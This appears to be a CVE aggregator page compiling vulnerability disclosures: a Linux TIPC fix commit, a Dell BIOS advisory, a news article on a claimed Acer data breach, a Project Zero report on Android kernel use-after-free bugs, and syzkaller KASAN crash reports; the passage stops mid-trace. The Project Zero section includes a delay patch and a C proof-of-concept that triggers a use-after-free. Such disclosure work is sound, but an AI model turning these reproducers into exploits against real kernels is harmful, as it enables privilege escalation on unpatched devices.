In the Linux kernel before 6.1.3, fs/ntfs3/inode.c does not validate the attribute name offset. An unhandled page fault may occur.

CVE-2022-48424

A remote denial of service vulnerability was found in the Linux kernel’s TIPC kernel module. The while loop in tipc_link_xmit() hits an unknown state while attempting to parse SKBs, which are not in the queue. Sending two small UDP packets to a system with a UDP bearer results in the CPU utilization for the system to instantly spike to 100%, causing a denial of service condition.

Permalink

Browse files

tipc: fix NULL deref in tipc\_link\_xmit()

The buffer list can have zero skb as following path:
tipc\_named\_node\_up()->tipc\_node\_xmit()->tipc\_link\_xmit(), so
we need to check the list before casting an &sk\_buff.

Fault report:
 \[\] tipc: Bulk publication failure
 \[\] general protection fault, probably for non-canonical \[#1\] PREEMPT \[...\]
 \[\] KASAN: null-ptr-deref in range \[0x00000000000000c8-0x00000000000000cf\]
 \[\] CPU: 0 PID: 0 Comm: swapper/0 Kdump: loaded Not tainted 5.10.0-rc4+ #2
 \[\] Hardware name: Bochs ..., BIOS Bochs 01/01/2011
 \[\] RIP: 0010:tipc\_link\_xmit+0xc1/0x2180
 \[\] Code: 24 b8 00 00 00 00 4d 39 ec 4c 0f 44 e8 e8 d7 0a 10 f9 48 \[...\]
 \[\] RSP: 0018:ffffc90000006ea0 EFLAGS: 00010202
 \[\] RAX: dffffc0000000000 RBX: ffff8880224da000 RCX: 1ffff11003d3cc0d
 \[\] RDX: 0000000000000019 RSI: ffffffff886007b9 RDI: 00000000000000c8
 \[\] RBP: ffffc90000007018 R08: 0000000000000001 R09: fffff52000000ded
 \[\] R10: 0000000000000003 R11: fffff52000000dec R12: ffffc90000007148
 \[\] R13: 0000000000000000 R14: 0000000000000000 R15: ffffc90000007018
 \[\] FS:  0000000000000000(0000) GS:ffff888037400000(0000) knlGS:000\[...\]
 \[\] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
 \[\] CR2: 00007fffd2db5000 CR3: 000000002b08f000 CR4: 00000000000006f0

Fixes: af9b028 ("tipc: make media xmit call outside node spinlock context")
Acked-by: Jon Maloy <jmaloy@redhat.com>
Signed-off-by: Hoang Le <hoang.h.le@dektech.com.au>
Link: https://lore.kernel.org/r/20210108071337.3598-1-hoang.h.le@dektech.com.au
Signed-off-by: Jakub Kicinski <kuba@kernel.org>

*   Loading branch information

CVE-2023-1390: tipc: fix NULL deref in tipc_link_xmit() · torvalds/linux@b774134

Dell BIOS contains an Improper Input Validation vulnerability. A local authenticated malicious user with administrator privileges could potentially exploit this vulnerability to perform arbitrary code execution.

**Vaikutus**

High

**Tiedot**

**Proprietary Code CVEs** 

**CVE Description**

**More information**

CVE-2023-24571

Dell BIOS contains an Improper Input Validation vulnerability. A local authenticated malicious user with administrator privileges could potentially exploit this vulnerability to perform arbitrary code execution.

CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H  
See NVD (http://nvd.nist.gov/) for individual scores for each CVE.  
 

**Proprietary Code CVEs** 

**CVE Description**

**More information**

CVE-2023-24571

Dell BIOS contains an Improper Input Validation vulnerability. A local authenticated malicious user with administrator privileges could potentially exploit this vulnerability to perform arbitrary code execution.

CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H  
See NVD (http://nvd.nist.gov/) for individual scores for each CVE.  
 

Dell Technologies suosittelee, että kaikki asiakkaat ottavat huomioon sekä CVSS-peruspistemäärän että kaikki asiaankuuluvat väliaikaiset ja ympäristöön liittyvät pisteet, jotka voivat vaikuttaa tietyn tietoturvahaavoittuvuuden mahdolliseen vakavuuteen.

**Tuotteet, joihin asia vaikuttaa ja tilanteen korjaaminen**

**Product**

**BIOS Update Version**

**BIOS Release Date**

Embedded Box PC 3000

1.18.0

03/10/2023

**NOTE**: The table above may not be a comprehensive list of all affected supported versions and may be updated as more information becomes available.  

**Product**

**BIOS Update Version**

**BIOS Release Date**

Embedded Box PC 3000

1.18.0

03/10/2023

**NOTE**: The table above may not be a comprehensive list of all affected supported versions and may be updated as more information becomes available.  

**Keinoja ongelman kiertämiseen tai lieventämiseen**

None

**Versiohistoria**

**Revision**

**Date**

**Description**

1.0

2023-03-15

Initial Release

**Asiaan liittyvät tiedot**

Dell Security Advisories and Notices  
Dell Vulnerability Response Policy  
CVSS Scoring Guide

15 maalisk. 2023

CVE-2023-24571: DSA-2023-046: Dell Client Platform Security Update for BIOS Vulnerabilities

Dell BIOS contains an Improper Authorization vulnerability. An unauthenticated physical attacker may potentially exploit this vulnerability, leading to denial of service.

CVE-2022-46752

By Waqas
A hacker on a popular forum is claiming to have stolen Acer Inc.'s data in mid-February 2023.
This is a post from HackRead.com Read the original post: Acer Data Breach? Hacker Claims to Sell 160GB Trove of Stolen Data

****The hacker claims that it took them days to go through the list of what had been allegedly breached.****

Acer Inc., a major global technology company based in Taiwan, is facing a potential data breach from a hacker going by the alias “Kernelware.” The hacker is claiming responsibility for a major **data breach at Acer Inc**., a leading multinational company based in Taiwan that designs and sells hardware and electronics products.

According to Kernelware, the alleged breach occurred in mid-February 2023 and resulted in the theft of a vast amount of sensitive information, totalling 160GB of 655 directories and 2869 files.

In a post on a hacker forum that surfaced as an alternative to the popular and **now-seized Raidforums**, Kernelware offered to sell the data trove to interested parties, saying that it contained a wide range of valuable files and documents. The hacker also shared a sample of the stolen data to prove its authenticity.

Post on the hacker forum (Image credit: Hackread.com)

The list of items included confidential slides and presentations, technical manuals, Windows Imaging Format files, binaries of various types, backend infrastructure data, product model documentation, and information about phones, tablets, laptops, and other devices.

The alleged data also contained Replacement Digital Product Keys, ISO files, Windows System Deployment Image files, BIOS components, and ROM files.

Kernelware requested payment in **XMR (Monero)**, a privacy-focused cryptocurrency, and suggested using a middleman to ensure a successful sale. Although it is still unclear whether the data is genuine, the hacker’s willingness to use a third-party and their confidence in the quality of the stolen information indicates that the threat should be taken seriously.

> _“Honestly, there’s so much s\*\*t that it’ll take me days to go through the list of what was breached lol.”_
> 
> _Kernelware_

**Acer Inc**. has not yet commented on the alleged data breach or the potential sale of its confidential data. However, if verified, the data could provide valuable insights and competitive advantages to Acer’s rivals or malicious actors seeking to exploit the vulnerabilities of its products and services.

The stolen information could be used by cybercriminals for various purposes, including blackmail, identity theft, and fraud. Additionally, the exposure of Acer’s backend infrastructure and product models could reveal vulnerabilities that could be exploited by other attackers.

As always, individuals and organizations are advised to take measures to protect their sensitive data and systems, including using strong passwords, implementing multi-factor authentication, keeping their software and firmware up-to-date, and monitoring for signs of suspicious activity.

The threat of data breaches and cyberattacks is ongoing and evolving, and it requires constant vigilance and preparedness to mitigate the risks.

1.  **PayPal sued over data breach of 35,000 users**
2.  **Acer online store hacked; 34,000 user data stolen**
3.  **System hijacking flaws in pre-installed Acer software**
4.  **Acer flaw allows malware infection during secure boot**
5.  **Hackers stole GoDaddy source code in multi-year breach**

I am a UK-based cybersecurity journalist with a passion for covering the latest happenings in cyber security and tech world. I am also into gaming, reading and investigative journalism

Acer Data Breach? Hacker Claims to Sell 160GB Trove of Stolen Data

Android GKI kernels contain broken non-upstream Speculative Page Faults MM code that can lead to multiple use-after-free conditions.

    Android: GKI kernels contain broken non-upstream Speculative Page Faults MM codeA central recurring theme in Linux MM development is that contention on themmap lock can have a big negative performance impact on multithreaded workloads:If one thread is holding the mmap lock in exclusive mode for an extended amountof time, other threads will block as soon as they try to handle a page fault.Therefore there is a bunch of work to downgrade exclusive lock holders tonon-exclusive lock holders, shrink critical sections, and avoid holding the lockaltogether in some cases.One proposal to avoid holding the mmap lock in page fault handling are\"Speculative page faults (SPF)\"; here's a patch series from 2019 that had alreadygone through 11 rounds of review:<https://lore.kernel.org/lkml/20190416134522.17540-1-ldufour@linux.ibm.com/t/>This patch series didn't land at the time; but something along those lines mightland upstream in the next few years.But for some reason, Android decided that they need speculative page faultsimmediately, and merged the patches that were discussed on the upstream mailinglist into their GKI kernels. This is problematic for two reasons:A) The MM code is complicated and easy to get wrong.   If you run MM code that has not been through the fuzzing, testing and review   that committed upstream code gets, there's a higher chance of undiscovered   bugs.B) The SPF patches **change the rules** that MM code has to follow, so now   Android's version of MM has different rules than upstream MM.   This means that any patches in vaguely related parts of upstream MM need to   be checked by an Android engineer to see if they conflict with Android's   special rules.As far as I can tell, there are a bunch of memory safety bugs in the SPF versionthat is currently in AOSP's android13-5.10 branch (at commit 232bdcbd660b):1. handle_pte_fault() calls pmd_none() without protection against concurrent   page table deletion, leading to UAF read.2. do_anonymous_page() calls pte_alloc() without protection against concurrent   page table deletion, leading to UAF write.3. do_anonymous_page() calls pmd_trans_unstable() without protection against   concurrent page table deletion, leading to UAF read.4. do_swap_page() -> migration_entry_wait() -> __migration_entry_wait() operates   on a page table without protection against concurrent page table deletion,   leading to use-after-union-change read+write in struct page (on the page   table lock) and use-after-free read of a page table entry (resulting in bogus   page* calculation)5. do_wp_page() calls handle_userfault() without protection against concurrent   userfaultfd_release(), leading to UAF reads of some flags from   userfaultfd_ctx.   I think back when the SPF series was posted upstream, there might have been   sufficient protection against this (because ___handle_speculative_fault()   bails on VMAs with VM_UFFD_MISSING), but since then the WP userfaultfd   support was added, and ___handle_speculative_fault() doesn't bail on   VM_UFFD_WP. do_wp_page() also doesn't check the cached VMA flags, it uses   userfaultfd_pte_wp() which reads flags from the VMA.6. The way seqcounts are used to detect concurrent writers looks wrong.   The seqcount API requires that only one writer at a time can be in a   vm_write_begin() / vm_write_end() section, but these helpers are used in   codepaths that only hold the mmap lock in shared mode, so there can be   concurrent writers.   As far as I can tell, this means that when there are an even number of   concurrent writers, it will look as if there are no active writers.   This _probably_ doesn't have much security impact because all of the places   that do vm_write_begin() where concurrency would be an actual problem seem to   hold the mmap lock in exclusive mode?As an example, I tested issue 2. To reproduce this easily, I patched an extradelay into the kernel:```diff --git a/mm/memory.c b/mm/memory.cindex 83b715ed65775..35ce412d0a965 100644--- a/mm/memory.c+++ b/mm/memory.c@@ -84,6 +84,8 @@ #include <asm/tlb.h> #include <asm/tlbflush.h> +#include <linux/delay.h>+ #include \"pgalloc-track.h\" #include \"internal.h\" @@ -3819,6 +3821,12 @@ static vm_fault_t do_anonymous_page(struct vm_fault *vmf)        vm_fault_t ret = 0;        pte_t entry; +       if (strcmp(current->comm, \"SLOWME\") == 0 && (vmf->flags & FAULT_FLAG_SPECULATIVE)) {+               pr_warn(\"%s: BEGIN DELAY 0x%lx\\", __func__, vmf->address);+               mdelay(2000);+               pr_warn(\"%s: END DELAY 0x%lx\\", __func__, vmf->address);+       }+        /* File mapping without ->vm_ops ? */        if (vmf->vma_flags & VM_SHARED)                return VM_FAULT_SIGBUS;```Then, I ran this testcase on an x86 build with ASAN and CONFIG_PREEMPT:```#define _GNU_SOURCE#include <pthread.h>#include <err.h>#include <unistd.h>#include <sys/prctl.h>#include <sys/mman.h>// basic idea:// delete the 1G-covering page table while do_anonymous_page() is at its entry// point#define VMA_ADDR ((void*)0x40000000UL)#define VMA_SIZE (0x40000000UL)#define SYSCHK(x) ({          \\  typeof(x) __res = (x);      \\  if (__res == (typeof(x))-1) \\    err(1, \"SYSCHK(\" #x \")\"); \\  __res;                      \\})static void *thread_fn(void *dummy) {  SYSCHK(prctl(PR_SET_NAME, \"SLOWME\"));  *(volatile char *)VMA_ADDR;  SYSCHK(prctl(PR_SET_NAME, \"spfthread\"));}int main(void) {  SYSCHK(mmap(VMA_ADDR, VMA_SIZE, PROT_READ|PROT_WRITE,                        MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED_NOREPLACE, -1, 0));  SYSCHK(madvise(VMA_ADDR, VMA_SIZE, MADV_NOHUGEPAGE));  // create anon_vma and page tables  *(volatile char *)(VMA_ADDR+0x1000) = 1;  pthread_t thread;  if (pthread_create(&thread, NULL, thread_fn, NULL))    errx(1, \"pthread_create\");  sleep(1);  munmap(VMA_ADDR, VMA_SIZE);  if (pthread_join(thread, NULL))    errx(1, \"pthread_join\");  return 0;}```This first results in a UAF read of a PTE:```do_anonymous_page: BEGIN DELAY 0x40000000do_anonymous_page: END DELAY 0x40000000==================================================================BUG: KASAN: use-after-free in handle_pte_fault (./arch/x86/include/asm/pgtable_types.h:394 ./arch/x86/include/asm/pgtable.h:823 mm/memory.c:3844 mm/memory.c:4687) Read of size 8 at addr ffff88800f358000 by task SLOWME/724CPU: 12 PID: 724 Comm: SLOWME Not tainted 5.10.107-00033-g232bdcbd660b-dirty #215Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.0-debian-1.16.0-4 04/01/2014Call Trace:dump_stack_lvl (lib/dump_stack.c:120) [...]print_address_description.constprop.0 (mm/kasan/report.c:257) [...][...]kasan_report.cold (mm/kasan/report.c:444 mm/kasan/report.c:460) [...]handle_pte_fault (./arch/x86/include/asm/pgtable_types.h:394 ./arch/x86/include/asm/pgtable.h:823 mm/memory.c:3844 mm/memory.c:4687) [...]___handle_speculative_fault (./include/linux/memcontrol.h:686 mm/memory.c:5106) [...]__handle_speculative_fault (mm/memory.c:5148) [...]do_user_addr_fault (arch/x86/mm/fault.c:1320) [...]exc_page_fault (./arch/x86/include/asm/irqflags.h:157 arch/x86/mm/fault.c:1470 arch/x86/mm/fault.c:1518) [...]asm_exc_page_fault (./arch/x86/include/asm/idtentry.h:571) RIP: 0033:0x55d52bfe41fb```Then pte_alloc() tries to lock the page table entry:```BUG: KASAN: use-after-free in do_raw_spin_lock (kernel/locking/spinlock_debug.c:83 kernel/locking/spinlock_debug.c:112) Read of size 4 at addr ffff88801a730004 by task SLOWME/724```and after that, it will write into the freed page table.From a security perspective, my recommendation is to fix this by reverting thespeculative page fault patches out of the GKI trees, since I believe that sucha divergence from upstream semantics is not maintainable. Looking through thecommit history of the AOSP android13-5.10 kernel branch also shows that a seriesof bugs have already been discovered that were introduced by SPF:81a1ae6b4395a ANDROID: mm: unlock the page on speculative fault retry88e4dbaf592d8 ANDROID: Make MGLRU aware of speculative faults320ffbea77113 ANDROID: mm: Fix page table lookup in speculative fault path729a79f366e5e ANDROID: fix mmu_notifier race caused by not taking mmap_lock during SPFc3cbea92297d5 ANDROID: mm: avoid writing to read-only elementsdd3f538bf715c ANDROID: x86/mm: fix vm_area_struct leak in speculative pagefault handlingcf397c6c269ac ANDROID: mm: sync rss in speculative page fault path531f65ae67382 ANDROID: mm: Fix sleeping while atomic during speculative page faultThis bug is subject to a 90-day disclosure deadline. If a fix for thisissue is made available to users before the end of the 90-day deadline,this bug report will become public 30 days after the fix was madeavailable. Otherwise, this bug report will become public at the deadline.The scheduled deadline is 2023-02-01.Please note that, according to our disclosure policy, if Project Zero discoversa variant of a previously reported Project Zero bug, technical details of thevariant will be added to the existing Project Zero report (which may be alreadypublic) and the report will not receive a new deadline.Project Zero will consider new race conditions where the SPF fault path accessespage tables or the VMA without sufficient locking variants of this issue.This includes issues that are introduced after this bug is reported.For more details, seehttps://googleprojectzero.blogspot.com/2021/04/policy-and-disclosure-2021-edition.html.Related CVE Number: CVE-2023-20937.Found by: jannh@google.com

Android GKI Kernels Contain Broken Non-Upstream Speculative Page Faults MM Code

In the Linux kernel 6.0.8, there is a use-after-free in ntfs_trim_fs in fs/ntfs3/bitmap.c.

Hello,  
I found the following issue using syzkaller on:  
HEAD commit : e60276b8c11ab4a8be23807bc67b04  
8cfb937dfa (v6.0.8)  
git tree: stable

C Reproducer : https://gist.github.com/oswalpalash/113c274067bc9c4c653a6dd09fb2e456  
Kernel .config :  
https://gist.github.com/oswalpalash/0962c70d774e5ec736a047bba917cecb

Console log :

\==================================================================  
BUG: KASAN: use-after-free in ntfs\_trim\_fs+0x84e/0x960  
Read of size 2 at addr ffff888104fea640 by task syz-executor.0/8081

CPU: 1 PID: 8081 Comm: syz-executor.0 Not tainted 6.0.8-pasta #2  
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS  
1.13.0-1ubuntu1.1 04/01/2014  
Call Trace:  
<TASK>  
dump\_stack\_lvl+0xcd/0x134  
print\_report.cold+0xe5/0x63a  
kasan\_report+0x8a/0x1b0  
ntfs\_trim\_fs+0x84e/0x960  
ntfs\_ioctl\_fitrim+0x23e/0x340  
ntfs\_ioctl+0x9c/0xd0  
\_\_x64\_sys\_ioctl+0x193/0x200  
do\_syscall\_64+0x35/0xb0  
entry\_SYSCALL\_64\_after\_hwframe+0x63/0xcd  
RIP: 0033:0x7fac7f88eacd  
Code: 02 b8 ff ff ff ff c3 66 0f 1f 44 00 00 f3 0f 1e fa 48 89 f8 48  
89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d  
01 f0 ff ff 73 01 c3 48 c7 c1 b8 ff ff ff f7 d8 64 89 01 48  
RSP: 002b:00007fac805f9bf8 EFLAGS: 00000246 ORIG\_RAX: 0000000000000010  
RAX: ffffffffffffffda RBX: 00007fac7f9bbf80 RCX: 00007fac7f88eacd  
RDX: 0000000020000040 RSI: 00000000c0185879 RDI: 0000000000000003  
RBP: 00007fac7f8fcb05 R08: 0000000000000000 R09: 0000000000000000  
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000  
R13: 00007ffcb363e05f R14: 00007ffcb363e200 R15: 00007fac805f9d80  
</TASK>

Allocated by task 8074:  
kasan\_save\_stack+0x1e/0x40  
\_\_kasan\_kmalloc+0xa6/0xd0  
\_\_kmalloc+0x349/0xd40  
tomoyo\_encode2.part.0+0xec/0x3b0  
tomoyo\_encode+0x28/0x50  
tomoyo\_realpath\_from\_path+0x186/0x620  
tomoyo\_path\_perm+0x219/0x420  
security\_inode\_getattr+0xcf/0x140  
vfs\_getattr+0x22/0x60  
vfs\_fstat+0x49/0x90  
\_\_do\_sys\_newfstat+0x81/0x100  
do\_syscall\_64+0x35/0xb0  
entry\_SYSCALL\_64\_after\_hwframe+0x63/0xcd

Freed by task 8074:  
kasan\_save\_stack+0x1e/0x40  
kasan\_set\_track+0x21/0x30  
kasan\_set\_free\_info+0x20/0x30  
\_\_kasan\_slab\_free+0xf5/0x180  
kfree+0x15e/0x540  
tomoyo\_path\_perm+0x240/0x420  
security\_inode\_getattr+0xcf/0x140  
vfs\_getattr+0x22/0x60  
vfs\_fstat+0x49/0x90  
\_\_do\_sys\_newfstat+0x81/0x100  
do\_syscall\_64+0x35/0xb0  
entry\_SYSCALL\_64\_after\_hwframe+0x63/0xcd

The buggy address belongs to the object at ffff888104fea640  
which belongs to the cache kmalloc-32 of size 32  
The buggy address is located 0 bytes inside of  
32-byte region \[ffff888104fea640, ffff888104fea660)

The buggy address belongs to the physical page:  
page:ffffea000413fa80 refcount:1 mapcount:0 mapping:0000000000000000  
index:0xffff888104feafc1 pfn:0x104fea  
flags: 0x57ff00000000200(slab|node=1|zone=2|lastcpupid=0x7ff)  
raw: 057ff00000000200 ffffea00043f1b88 ffffea000414bec8 ffff888011840100  
raw: ffff888104feafc1 ffff888104fea000 000000010000003d 0000000000000000  
page dumped because: kasan: bad access detected  
page\_owner tracks the page as allocated  
page last allocated via order 0, migratetype Unmovable, gfp\_mask  
0x2420c0(\_\_GFP\_IO|\_\_GFP\_FS|\_\_GFP\_NOWARN|\_\_GFP\_COMP|\_\_GFP\_THISNODE),  
pid 6509, tgid 6509 (syz-executor.3), ts 50269499850, free\_ts  
50269456139  
prep\_new\_page+0x2c6/0x350  
get\_page\_from\_freelist+0xae9/0x3a80  
\_\_alloc\_pages+0x321/0x710  
cache\_grow\_begin+0x75/0x360  
kmem\_cache\_alloc\_node\_trace+0xbe2/0xd40  
\_\_kmalloc\_node+0x38/0x60  
\_\_vmalloc\_node\_range+0x3d3/0x1320  
vzalloc+0x67/0x80  
alloc\_counters.isra.0+0x5d/0x6f0  
do\_ipt\_get\_ctl+0x5de/0x980  
nf\_getsockopt+0x72/0xd0  
ip\_getsockopt+0x164/0x1c0  
tcp\_getsockopt+0x86/0xd0  
\_\_sys\_getsockopt+0x216/0x690  
\_\_x64\_sys\_getsockopt+0xba/0x150  
do\_syscall\_64+0x35/0xb0  
page last free stack trace:  
free\_pcp\_prepare+0x5ab/0xd00  
free\_unref\_page+0x19/0x410  
\_\_vunmap+0x6ff/0xaa0  
\_\_vfree+0x3c/0xd0  
vfree+0x5a/0x90  
do\_ipt\_get\_ctl+0x7b2/0x980  
nf\_getsockopt+0x72/0xd0  
ip\_getsockopt+0x164/0x1c0  
tcp\_getsockopt+0x86/0xd0  
\_\_sys\_getsockopt+0x216/0x690  
\_\_x64\_sys\_getsockopt+0xba/0x150  
do\_syscall\_64+0x35/0xb0  
entry\_SYSCALL\_64\_after\_hwframe+0x63/0xcd

Memory state around the buggy address:  
ffff888104fea500: fa fb fb fb fc fc fc fc 02 fc fc fc fc fc fc fc  
ffff888104fea580: fa fb fb fb fc fc fc fc fa fb fb fb fc fc fc fc  
\>ffff888104fea600: fa fb fb fb fc fc fc fc fa fb fb fb fc fc fc fc  
^  
ffff888104fea680: fa fb fb fb fc fc fc fc fa fb fb fb fc fc fc fc  
ffff888104fea700: fa fb fb fb fc fc fc fc fa fb fb fb fc fc fc fc  
\==================================================================

CVE-2023-26606: LKML: Palash Oswal: KASAN: use-after-free Read in ntfs_trim_fs

In the Linux kernel 6.0.8, there is an out-of-bounds read in ntfs_attr_find in fs/ntfs/attrib.c.

Hello,  
I found the following issue using syzkaller on:  
HEAD commit : e60276b8c11ab4a8be23807bc67b04  
8cfb937dfa (v6.0.8)  
git tree: stable

C Reproducer : https://gist.github.com/oswalpalash/cb298c137f3dbfb95a609671a61103fb  
Kernel .config :  
https://gist.github.com/oswalpalash/0962c70d774e5ec736a047bba917cecb

I found a related discussion in the past about a similar bug here :  
https://groups.google.com/g/syzkaller-bugs/c/BFLa1ZwXyG0/m/UIh6Pl2GBAAJ

Console log :

loop3: detected capacity change from 0 to 4096  
\==================================================================  
BUG: KASAN: slab-out-of-bounds in ntfs\_attr\_find+0xb87/0xce0  
Read of size 2 at addr ffff888106fc30ab by task syz-executor.3/11599

CPU: 0 PID: 11599 Comm: syz-executor.3 Not tainted 6.0.8-pasta #2  
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS  
1.13.0-1ubuntu1.1 04/01/2014  
Call Trace:  
<TASK>  
dump\_stack\_lvl+0xcd/0x134  
print\_report.cold+0xe5/0x63a  
kasan\_report+0x8a/0x1b0  
ntfs\_attr\_find+0xb87/0xce0  
ntfs\_attr\_lookup+0x1051/0x2040  
ntfs\_read\_locked\_inode+0xb0c/0x5ab0  
ntfs\_iget+0x12d/0x180  
ntfs\_fill\_super+0x1ed0/0x8590  
mount\_bdev+0x34d/0x410  
legacy\_get\_tree+0x105/0x220  
vfs\_get\_tree+0x89/0x2f0  
path\_mount+0x121b/0x1cb0  
do\_mount+0xf3/0x110  
\_\_x64\_sys\_mount+0x18f/0x230  
do\_syscall\_64+0x35/0xb0  
entry\_SYSCALL\_64\_after\_hwframe+0x63/0xcd  
RIP: 0033:0x7f0e85e9146e  
Code: 48 c7 c1 b8 ff ff ff f7 d8 64 89 01 48 83 c8 ff c3 66 2e 0f 1f  
84 00 00 00 00 00 90 f3 0f 1e fa 49 89 ca b8 a5 00 00 00 0f 05 <48> 3d  
01 f0 ff ff 73 01 c3 48 c7 c1 b8 ff ff ff f7 d8 64 89 01 48  
RSP: 002b:00007f0e849fda08 EFLAGS: 00000206 ORIG\_RAX: 00000000000000a5  
RAX: ffffffffffffffda RBX: 0000000020000200 RCX: 00007f0e85e9146e  
RDX: 0000000020000000 RSI: 0000000020000100 RDI: 00007f0e849fda60  
RBP: 00007f0e849fdaa0 R08: 00007f0e849fdaa0 R09: 0000000020000000  
R10: 0000000000000000 R11: 0000000000000206 R12: 0000000020000000  
R13: 0000000020000100 R14: 00007f0e849fda60 R15: 0000000020000040  
</TASK>

Allocated by task 1:  
kasan\_save\_stack+0x1e/0x40  
\_\_kasan\_slab\_alloc+0x85/0xb0  
kmem\_cache\_alloc+0x204/0xcc0  
\_\_kernfs\_new\_node+0xd4/0x8b0  
kernfs\_new\_node+0x93/0x120  
\_\_kernfs\_create\_file+0x51/0x350  
sysfs\_add\_file\_mode\_ns+0x20f/0x3f0  
internal\_create\_group+0x314/0xba0  
internal\_create\_groups.part.0+0x90/0x140  
sysfs\_create\_groups+0x25/0x50  
kobject\_add\_internal+0x318/0x8f0  
kobject\_init\_and\_add+0x101/0x160  
netdev\_queue\_update\_kobjects+0x1fe/0x4e0  
netdev\_register\_kobject+0x333/0x400  
register\_netdevice+0xbe9/0x1390  
bond\_create+0xb4/0x120  
bonding\_init+0x9f/0x114  
do\_one\_initcall+0xfe/0x650  
kernel\_init\_freeable+0x6c3/0x74c  
kernel\_init+0x1a/0x1d0  
ret\_from\_fork+0x1f/0x30

The buggy address belongs to the object at ffff888106fc3000  
which belongs to the cache kernfs\_node\_cache of size 168  
The buggy address is located 3 bytes to the right of  
168-byte region \[ffff888106fc3000, ffff888106fc30a8)

The buggy address belongs to the physical page:  
page:ffffea00041bf0c0 refcount:1 mapcount:0 mapping:0000000000000000  
index:0x0 pfn:0x106fc3  
flags: 0x57ff00000000200(slab|node=1|zone=2|lastcpupid=0x7ff)  
raw: 057ff00000000200 ffffea00041bc848 ffffea00041a9fc8 ffff88810006f200  
raw: 0000000000000000 ffff888106fc3000 0000000100000011 0000000000000000  
page dumped because: kasan: bad access detected  
page\_owner tracks the page as allocated  
page last allocated via order 0, migratetype Unmovable, gfp\_mask  
0x2420c0(\_\_GFP\_IO|\_\_GFP\_FS|\_\_GFP\_NOWARN|\_\_GFP\_COMP|\_\_GFP\_THISNODE),  
pid 1, tgid 1 (swapper/0), ts 8385653965, free\_ts 0  
prep\_new\_page+0x2c6/0x350  
get\_page\_from\_freelist+0xae9/0x3a80  
\_\_alloc\_pages+0x321/0x710  
cache\_grow\_begin+0x75/0x360  
kmem\_cache\_alloc+0xb69/0xcc0  
\_\_kernfs\_new\_node+0xd4/0x8b0  
kernfs\_new\_node+0x93/0x120  
kernfs\_create\_dir\_ns+0x48/0x150  
sysfs\_create\_dir\_ns+0x127/0x290  
kobject\_add\_internal+0x2c9/0x8f0  
kobject\_init\_and\_add+0x101/0x160  
net\_rx\_queue\_update\_kobjects+0x264/0x510  
netdev\_register\_kobject+0x278/0x400  
register\_netdevice+0xbe9/0x1390  
bond\_create+0xb4/0x120  
bonding\_init+0x9f/0x114  
page\_owner free stack trace missing

Memory state around the buggy address:  
ffff888106fc2f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
ffff888106fc3000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
\>ffff888106fc3080: 00 00 00 00 00 fc fc fc fc fc fc fc fc 00 00 00  
^  
ffff888106fc3100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
ffff888106fc3180: 00 00 fc fc fc fc fc fc fc fc 00 00 00 00 00 00  
\==================================================================

CVE-2023-26607: LKML: Palash Oswal: KASAN: slab-out-of-bounds Read in ntfs_attr_find

In the Linux kernel 6.0.8, there is a use-after-free in inode_cgwb_move_to_attached in fs/fs-writeback.c, related to __list_del_entry_valid.

Hello,  
I found the following issue using syzkaller on:  
HEAD commit : e60276b8c11ab4a8be23807bc67b04  
8cfb937dfa (v6.0.8)  
git tree: stable

C Reproducer : https://gist.github.com/oswalpalash/bed0eba75def3cdd34a285428e9bcdc4  
Kernel .config :  
https://gist.github.com/oswalpalash/0962c70d774e5ec736a047bba917cecb

Console log :

\==================================================================  
BUG: KASAN: use-after-free in \_\_list\_del\_entry\_valid+0xf2/0x110  
Read of size 8 at addr ffff8880273c4358 by task syz-executor.1/6475

CPU: 0 PID: 6475 Comm: syz-executor.1 Not tainted 6.0.8-pasta #2  
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS  
1.13.0-1ubuntu1.1 04/01/2014  
Call Trace:  
<TASK>  
dump\_stack\_lvl+0xcd/0x134  
print\_report.cold+0xe5/0x63a  
kasan\_report+0x8a/0x1b0  
\_\_list\_del\_entry\_valid+0xf2/0x110  
inode\_cgwb\_move\_to\_attached+0x2ee/0x4e0  
writeback\_single\_inode+0x3fa/0x510  
write\_inode\_now+0x16a/0x1e0  
blkdev\_flush\_mapping+0x168/0x220  
blkdev\_put\_whole+0xd1/0xf0  
blkdev\_put+0x29b/0x700  
deactivate\_locked\_super+0x8c/0xf0  
deactivate\_super+0xad/0xd0  
cleanup\_mnt+0x347/0x4b0  
task\_work\_run+0xe0/0x1a0  
exit\_to\_user\_mode\_prepare+0x25d/0x270  
syscall\_exit\_to\_user\_mode+0x19/0x50  
do\_syscall\_64+0x42/0xb0  
entry\_SYSCALL\_64\_after\_hwframe+0x63/0xcd  
RIP: 0033:0x7f22bd29143b  
Code: ff ff ff f7 d8 64 89 01 48 83 c8 ff c3 66 90 f3 0f 1e fa 31 f6  
e9 05 00 00 00 0f 1f 44 00 00 f3 0f 1e fa b8 a6 00 00 00 0f 05 <48> 3d  
01 f0 ff ff 73 01 c3 48 c7 c1 b8 ff ff ff f7 d8 64 89 01 48  
RSP: 002b:00007ffe505103b8 EFLAGS: 00000246 ORIG\_RAX: 00000000000000a6  
RAX: 0000000000000000 RBX: 0000000000000000 RCX: 00007f22bd29143b  
RDX: 00007f22bd228a90 RSI: 000000000000000a RDI: 00007ffe50510480  
RBP: 00007ffe50510480 R08: 00007f22bd2fba1f R09: 00007ffe50510240  
R10: 00000000fffffffb R11: 0000000000000246 R12: 00007f22bd2fb9f8  
R13: 00007ffe50511520 R14: 0000555556f4bd90 R15: 0000000000000032  
</TASK>

Allocated by task 7810:  
kasan\_save\_stack+0x1e/0x40  
\_\_kasan\_slab\_alloc+0x85/0xb0  
kmem\_cache\_alloc\_lru+0x25b/0xfb0  
fat\_alloc\_inode+0x23/0x1e0  
alloc\_inode+0x61/0x1e0  
new\_inode\_pseudo+0x13/0x80  
